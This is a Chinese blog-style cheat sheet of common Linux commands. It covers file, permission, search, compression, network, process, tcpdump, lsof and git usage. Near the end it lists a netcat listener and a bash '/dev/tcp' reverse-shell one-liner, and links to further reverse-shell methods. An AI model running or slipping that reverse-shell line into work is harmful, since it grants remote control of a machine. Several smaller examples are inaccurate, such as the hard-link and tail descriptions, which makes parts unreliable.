常用linux命令大全

linux 常用命令大全


一、文件处理命令

1.命令名称:ls

  命令英文意思:list

  功能描述:显示目录中的文件

  语法: ls 选项 [-ald] [ 文件或目录]

    -a  /all/显示所有文件,包括隐藏文件

    -l  /long/详细信息显示 

    -d  查看目录属性


  ls -i  i---inode i节点 硬链接和原文件拥有相同的i节点



2.命令名称:cd

  命令英文意思:change directory

  功能描述:切换目录

  语法: cd [目录]

  例子:cd / 切换到根目录

cd .. 回到上一级目录


3.命令名称:pwd

  命令英文意思:pwd

  功能描述:显示当前所在的工作目录

  例子: pwd


4.命令名称:touch

  功能描述:创建空文件

  语法: touch [文件名]

  例子:touch newfile


5.命令名称:cp

  命令英文意思:copy

  功能描述:复制文件或目录

  语法: cp -R [源文件或目录][母的目录]

   -R 复制目录

  例子:cp /etc/inittab /etc/services /test  把inittab和services 复制到test下

cp -R /etc  /test    把文件夹/etc拷贝到/test文件夹下


6.命令名称:mv

  命令英文意思:move

  功能描述:移动文件、更名

  语法: mv [源文件或目录] [目的目录]

  例子:mv  文件名1 文件名2    改名

        mv  文件名1 文件夹     移动文件到文件夹


7.命令名称:rm

  命令英文意思:remove 

  功能描述:删除文件

  语法: rm -r [文件或目录]

            -r 删除目录

            -f 强制删除

  例子:rm file3  删除文件file3

        rm -r dir1  删除目录dir1


8.命令名称:cat

  命令英文意思:concatenate and display files

  功能描述:显示文件内容 (使用用文件较小的文件)

  语法:cat [文件名] 

  例子: cat /etc/services


9.命令名称:more

  功能描述:分页显示文件内容

  语法:more  [文件名]

空格键或f键 显示下一页

enter键     显示下一行

q或Q        退出 

  例子:  more  /etc/services


10.命令名称:head

  功能描述:查看文件的前几行

  语法:head -num  [文件名]

             -num  显示文件的前num行 

  例子: head  -20 /etc/services


10.命令名称:tail

  功能描述:查看文件的后几行

  语法:tail -num  [文件名]

             -num  显示文件的前num行 

             -f    动态显示前num行            

  例子: tail  -20 /etc/services


11.命令名称:ln

   命令英文意思:link

   功能描述:产生连接文件

   语法:ln -s [源文件] [目标文件] 

   -s 创建软连接

   例子: ln -s /etc/issue  /issue.soft 创建文件/etc/issue的软连接

         ln -s /etc/issue  /issue.hard 创建文件/etc/issue的硬连接


二、权限管理命令

1. 命令名称:chmod

   命令英文意思:change the permissions mode of a file

   功能描述:改变文件或目录权限

   语法:chmod  [{ugo} {+-=} {rwx}]  [文件或目录]

       [mode = 421] [文件或目录]

   例子:文件  chmod 641  文件名

        目录  chmod 641   目录名


2. 命令名称:chown  // chgrp 改变用户组,用法同chown

   命令英文意思:change file ownership

   功能描述:改变文件或目录的所有者

   语法:chown [用户][文件或目录] 

   例子:chown nobody file1  改变文件file1的所有者为nobody


3. 命令名称:umask

   

   功能描述:显示、设置文件的缺省权限

   语法: umask [-S] 

       -S 以rwx形式显示创建文件或目录缺省权限

   例子: umask      umask -S


注意; umask得到的值是0022

       0 是特殊为 022 用户权限位,权限掩码值

    777               用777减去掩码值得到默认权限

  - 022

----------------

    755

linux权限规则:缺省创建的文件不能授予可执行x权限




三、文件搜索命令


1. 命令名称:which   //同whereis

   功能描述:显示系统命令所在目录

   语法:which [命令名称] 

   例子: which ls

2. 命令名称:find

   功能描述:查找文件或目录

   语法:find [搜索路径] [搜寻关键字] 

   例子: find /etc  -name init   在目录/etc中查找文件init

         find /     -size   +204800 在更目录下查找大于100MB的文件

         find /home -user  nobody  在根目录下下查找所有为nobody的文件

find /etc -ctime -1  在/etc下查找24小时内被修改过属性的文件和目录、

find /etc -size  + 102400 -a -size -204800 在/etc下查找大于50MB小于100MB的文件

find /etc -name inittab -exec ls -l {} \: 在/etc下查找inittab文件并显示其详细信息

注释:

 -name 文件名

 * 匹配任意字符 init*

 ? 匹配单个字符 init??? 一个问号匹配一个字符


 -size  文件大小 block数据块 512 字节 = 0.5kb

 100MB = 102400kb = 204800block

 + 大于  大于100MB的文件

 - 小于  小于100MB的文件

   等于 

 -user  文件所有者

与时间相关的查找

1. 天 ctime 、atime、 mtime

2.分钟 cmin 、amin 、mmin

c - change 改变           表示文件属性被修改过,所有者、所属组、权限等

a - access 访问           文件被访问过,cat/more/vi

m - modify 修改           文件的内容被修改过

find /etc -mmin -120 在两个小时内被修改的文件


1.连接符 -a and 逻辑与 -o or 逻辑或

2.连接符 find .... -exec 命令 {} \ ; 一种格式  {}find查询的结果 \转义符

                   -ok  (询问确认)

 -inum i节点 


find .inum i节点 -exec rm {} \ ;   删除i节点的文件


3. 命令名称:locate      /速度快但容易找不到

   命令英文意思:list files in databases

   语法:locate [搜索关键字] 

   例子:locate file 列出所有和file相关的文件


4. 命令名称:grep

   功能描述:在文件中搜寻字符串匹配的行并输出

   语法:grep [指定字符串] [源文件] 

   例子:grep ftp /etc/services

5.文件关键字替换命令:sed

  功能描述:替换文件中的关键词

   sed 's/原字符串/替换字符串/' [File] 替换命令

  sed 's/^/添加的头部&/g' [file]  //在所有行首添加
  sed 's/$/&添加的尾部/g' [file]  //在所有行末添加
  sed '2s/原字符串/替换字符串/g' [file]  //替换第2行
  sed '$s/原字符串/替换字符串/g' [file]  //替换最后一行
  sed '2,5s/原字符串/替换字符串/g' [file] //替换2到5行
  sed '2,$s/原字符串/替换字符串/g' [file] //替换2到最后一行
  sed 's/^/添加的头部&/g; s/$/&添加的尾部/g' [file] //同时执行两个替换规则
  sed -i 's/原字符串/替换字符串/g' [file] //替换文件中的所有匹配项

6. look命令

  功能描述:查找以某个字符串开头或者结尾的那一行


四、帮助命令

1. 命令名称:man

   命令英文意思:manual 手册

   功能描述:获得帮助信息

   语法:man [命令或配置文件] 

   例子: man ls   查看ls命令的帮助信息

man services 查看配置文件services的帮助信息


2. 命令名称:info 

   命令英文意思:infomation

   功能描述:获得帮助信息

   语法:info [任何关键字] 

   例子: info ls     查看ls指令的帮助信息


3. 命令名称:whatis

   命令英文意思: search the whatis database for strings

   功能描述:获得索引的简短说明信息

   语法:whatis  [任何关键字] 

   例子: whatis ls 


五、压缩解压命令

1. 命令名称:gzip

   命令英文意思:GUN zip

   功能描述:压缩文件

   语法:gzip  选项 [文件] 压缩后的格式 .gz 

   例子:只能压缩文件,不能压缩目录/不保留原文件

2. 命令名称:gunzip  //也可以用gzip -d 文件解压

   命令英文意思:GUN unzip

   功能描述:解压缩.gz的压缩文件

   语法:gunzip  选项[压缩文件] 

   例子: gunzip file1.gz


3. 命令名称: tar

   功能描述:打包目录 压缩文件格式:.tar.gz

   语法:tar 选项[cvf] [目录] 

     -c  /create/ 产生.tar打包文件

              -v /view/ 显示详细信息

              -f /file/ 指定压缩后的文件名

     -z    打包同时压缩

              -x   /execute/  解压文件

   例子: tar -zcvf dir1.tar.gz dir1

         将目录dir1 压缩成一个打包并压缩的文件

         tar -zxvf dir1.tar.gz  将dir1.tar.gz解压缩

3. 命令名称:zip

   功能描述:压缩文件或目录

   语法:zip 选项[-r] [压缩后文件名称][文件或目录]

-r  压缩目录

压缩后文件格式为.zip

   例子: zip services.zip /etc/services  压缩文件

zip -r test.zip  /test  压缩目录


4. 命令名称:bzip2

   功能描述:压缩文件

   语法:bzip2 选项[-k][文件名]

                -k 产生压缩文件

 压缩后文件格式:.bz2

   例子: bzip2 -k file1


5. 命令名称:bunzip2

   功能描述:解压缩

   语法:bunzip2 选项[-k][压缩文件] 

                     -k  解压缩后保留原文件

   例子: bunzip2 -k file1.bz2



六、网络通信命令

1. 命令名称:write

   功能描述:向另外一个用户发信信息,以Ctrl+D作为结束

   语法:write <用户名> 

   例子: write user(用户)

2. 命令名称:wall

  命令英文意思:write all

  功能描述:向所有用户广播信息

  语法:wall [message] [文件名] 

  例子: wall 信息

3.命令名称:ping 

  功能描述:测试网络连通性

  语法:ping [选项] IP地址 

  例子:ping 192.168.1.1

4.命令名称:ifconfig

  功能描述:查看网络设置信息

  语法:ifconfig 选项[-a] [网卡设备标识]

-a 显示所有的网卡信息 

  例子:ifconfig -a


七、系统进程/服务/关机命令

1.命令名称:shutdown

  功能描述:关机

  语法:shutdown 

  例子:shutdown -h now

2.命令名称:reboot

  功能描述:重启系统

  语法:reboot

  例子:reboot

3.命令名称:ps

  功能描述:对进程的一次性查看

  语法:ps [alux]

   -a 显示所有用户的进程

   -l 长格式输出

   -u 按用户名和启动时间的顺序来显示进程

   -x 显示无控制终端的进程

  例子: ps aux | more   /ps lax

4.命令名称:kill  /killall + 进程名

  功能描述:终止一个进行

  语法:kill -9  进程ID

  例子:kill -9 5031


5.命令名称:top

  功能描述:动态监视系统任务的工具

  语法:top 

  例子:top


6.命令名称:service

  功能描述:管理服务

  语法:service  进程名 action

               start

       stop

       status

  例子:service  httpd start 开启httpd 服务




八、shell应用技巧

命令别名定义:

例子:alias copy = cp

     alias xrm = "rm -r"

查看别名信息:alias

删除别名:unalias copy

重定向


管道

将一个命令的输出传送给另一个命令,作为另一个命令的输入

使用方法:

  命令1 | 命令2 | 命令3 |  命令n

例子:ls -l /etc | more 

      ls -l /etc | grep init

      ls -l /etc | gerp init |wc -l

; 用;间隔的各命令按顺序依次执行

&& 前后命令的执行存在逻辑与关系,只有&&前面的命令执行成功后,它后面的命令才被执行

|| 前后命令的执行存在逻辑或的关系,只有||前面的命令执行失败后,它后面的命令才被执行。


linux常用高级命令

sed 's/原字符串/替换字符串/' [File] 替换命令

sed 's/^/添加的头部&/g' [file]  //在所有行首添加
sed 's/$/&添加的尾部/g' [file]  //在所有行末添加
sed '2s/原字符串/替换字符串/g' [file]  //替换第2行
sed '$s/原字符串/替换字符串/g' [file]  //替换最后一行
sed '2,5s/原字符串/替换字符串/g' [file] //替换2到5行
sed '2,$s/原字符串/替换字符串/g' [file] //替换2到最后一行
sed 's/^/添加的头部&/g; s/$/&添加的尾部/g' [file] //同时执行两个替换规则
sed -i 's/原字符串/替换字符串/g' [file] //替换文件中的所有匹配项

look

look L [File]      //查找以L开头的那行
looK -f L [File]   //以大小写L开头的那行
look -t L [File]   //以L结尾的字符串的那行

join 
功能描述:指定栏位内容相同的行进行合并连接。
join [-iaeotv] [--hlep] [File1] [File2]

sort
功能描述:对文件的内容以ASCII字符排序。
sort [-bcdfimMnrot] [--help] [File]


expr 
expr 表达式
功能描述:求表达式的值

基本使用方法
expr length "This is a test" //计算长度
expr substr "This is a test" 3 5 //截取索引从3到5的字符串
expr index "This is a test" a //找到a在字符串中第一次出现的位置
expr 10+10 //整数运算
expr 10 \* 10 //乘号必须用/进行转义。
高级使用方法
count=`expr $count + 1` //$count变量自增长1
length=`expr $str : ".*"` //获取$str字符串长度
str=`expr "x$str" : "x-*\(.*\)"` //加括号获取匹配内容

uniq 
功能描述:删除文件中重复的行
uniq [File1] [File2] //file1文件去重后保存到file2文件中
uniq -c [File]       //file文件去重并显示重复次数
uniq -d [File]       //file文件显示重复的行
uniq -u [File]       //file文件显示不重复的行


wc
功能描述:统计文件的Byte数、字数、列数。
wc [-clw] [File] //-c参数统计次数,-l统计列数、-w统计字数。

let
功能描述:执行一个或多个表达式,变量不需要加$。

let arg [arg ...]
let a++,b++ //a和b变量自增加一

df 
功能描述:统计linux系统上文件系统的磁盘使用情况。
df -h     //以可读的方式统计磁盘的使用情况。

du
功能描述:显示目录的结构和所占的磁盘空间
du -h [Dir]  //以可读的方式显示文件夹的内容

pstree
功能:将所有的线程以树状图显示出来。
pstree [pid|user]

traceroute 
命令用于显示数据包到主机间的路径
traceroute www.baidu.com

tcpdump
tcpdump -i eth0 -c 20  监听eth0网卡并抓取20个数据包
tcpdump host ip  //截获ip接收和发送的数据包
tcpdump host ip and ip1 //截获ip和ip1的所有数据包
tcpdump host ip and \(ip1 or ip2\) //截获ip和ip1或ip2直接通讯的数据包
tcpdump -c 10 -q //精简模式显示 10个包
tcpdump ip host ip1 and !ip2 //获取主机ip1除了和ip2之外所有主机通讯的ip包
tcpdump -i eth0 src/dst host hostname/ip 截获主机hostname发送/接收的所有数据包
tcpdump -vv -i eth0 -s 100 -w /root/nextdoor/test/abc.cap host 192.168.1.1 and src/dst port 80
-i监听网卡eth0 -s 包的个数 -w 包存放的位置 host主机名 port端口
tcpdump tcp port 23 and host 192.168.1.1 //截获直接192.168.1.1接收或发送的所有23端口服务的数据包
tcpdump udp port 123 //对udp协议123端口进行监控
tcpdump tcp port 80 -n -X -s 0 指定80端口进行输出 //监听80端口输出的信息

strace
strace常用来跟踪进程执行时的系统调用和所接收的信号。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。

strace -o output.txt -T -tt -e trace=all -p 28979
//跟踪进程号是28979的进程

lsof
列出当前系统打开文件的工具
    lsof [options] filename 
    lsof -i[46] [protocol][@hostname|hostaddr][:service|port]
            46 --> IPv4 or IPv6
            protocol --> TCP or UDP
            hostname --> Internet host name
            hostaddr --> IPv4地址
            service --> /etc/service中的 service name (可以不只一个)
            port --> 端口号 (可以不只一个)

lsof -a -u root -d txt //查看root用户进程打开文件的类型为txt的文件。
lsof -R | grep "/usr/bin" //查看目录下/usr/bin运行的文件
lsof `which httpd` //那个进程在使用apache的可执行文件
lsof /etc/passwd //那个进程在占用/etc/passwd
lsof /dev/hda6 //那个进程在占用hda6
lsof /dev/cdrom //那个进程在占用光驱
lsof -c sendmail //查看sendmail进程的文件使用情况
lsof -c courier -u ^zahn //显示出那些文件被以courier打头的进程打开,但是并不属于用户zahn
lsof -p 30297 //显示那些文件被pid为30297的进程打开
lsof -D /tmp 显示所有在/tmp文件夹中打开的instance和文件的进程。但是symbol文件并不在列

lsof -u1000 //查看uid是100的用户的进程的文件使用情况
lsof -utony //查看用户tony的进程的文件使用情况
lsof -u^tony //查看不是用户tony的进程的文件使用情况(^是取反的意思)
lsof -i //显示所有打开的端口
lsof -i:80 //显示所有打开80端口的进程
lsof -i -U //显示所有打开的端口和UNIX domain文件
lsof -i UDP@[url]www.xxx.com:123 //显示那些进程打开了到www.xxx.com的UDP的123(ntp)端口的链接
lsof -i tcp@www.xxx.com:ftp -r //不断查看目前ftp连接的情况(-r,lsof会永远不断的执行,直到收到中断信号,+r,lsof会一直执行,直到没有档案被显示,缺省是15s刷新)
lsof -i tcp@www.xxx.com:ftp -n //lsof -n 不将IP转换为hostname,缺省是不加上-n参数

file
查看文件的属性值 
file [Dir/File]


grep命令详解

http://blog.csdn.net/hellochenlian/article/details/34088179

awk命令详解

http://www.cnblogs.com/ggjucheng/archive/2013/01/13/2858470.html

git命令详解

http://blog.jobbole.com/78960/

Git基本常用命令如下:

   mkdir:         XX (创建一个空目录 XX指目录名)

   pwd:          显示当前目录的路径。

   git init          把当前的目录变成可以管理的git仓库,生成隐藏.git文件。

   git add XX       把xx文件添加到暂存区去。

   git commit –m “XX”  提交文件 –m 后面的是注释。

   git status        查看仓库状态

   git diff  XX      查看XX文件修改了那些内容

   git log          查看历史记录

   git reset  –hard HEAD^ 或者 git reset  –hard HEAD~ 回退到上一个版本

                        (如果想回退到100个版本,使用git reset –hard HEAD~100 )

   cat XX         查看XX文件内容

   git reflog       查看历史记录的版本号id

   git checkout — XX  把XX文件在工作区的修改全部撤销。

   git rm XX          删除XX文件

   git remote add origin https://github.com/tugenhua0707/testgit 关联一个远程库

   git push –u(第一次要用-u 以后不需要) origin master 把当前master分支推送到远程库

   git clone https://github.com/tugenhua0707/testgit  从远程库中克隆

   git checkout –b dev  创建dev分支 并切换到dev分支上

   git branch  查看当前所有的分支

   git checkout master 切换回master分支

   git merge dev    在当前的分支上合并dev分支

   git branch –d dev 删除dev分支

   git branch name  创建分支

   git stash 把当前的工作隐藏起来 等以后恢复现场后继续工作

   git stash list 查看所有被隐藏的文件列表

   git stash apply 恢复被隐藏的文件,但是内容不删除

   git stash drop 删除文件

   git stash pop 恢复文件的同时 也删除文件

   git remote 查看远程库的信息

   git remote –v 查看远程库的详细信息

   git push origin master  Git会把master分支推送到远程库对应的远程分支上


linux命令

http://www.runoob.com/linux/linux-command-manual.html


shell语法

http://www.runoob.com/linux/linux-shell-variable.html

命令替换符

 将一个命令的输出作为另一个命令的参数

 格式为:命令1 · 命令2·

反弹shell命令

nc本地监听

 nc -l -p port -vvv
shell反弹
bash -i >& /dev/tcp/ownip/port 0>&1

其他反弹shell方法

http://www.myhack58.com/Article/html/3/8/2014/48255.htm

http://www.waitalone.cn/linux-shell-rebound-under-way.html


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值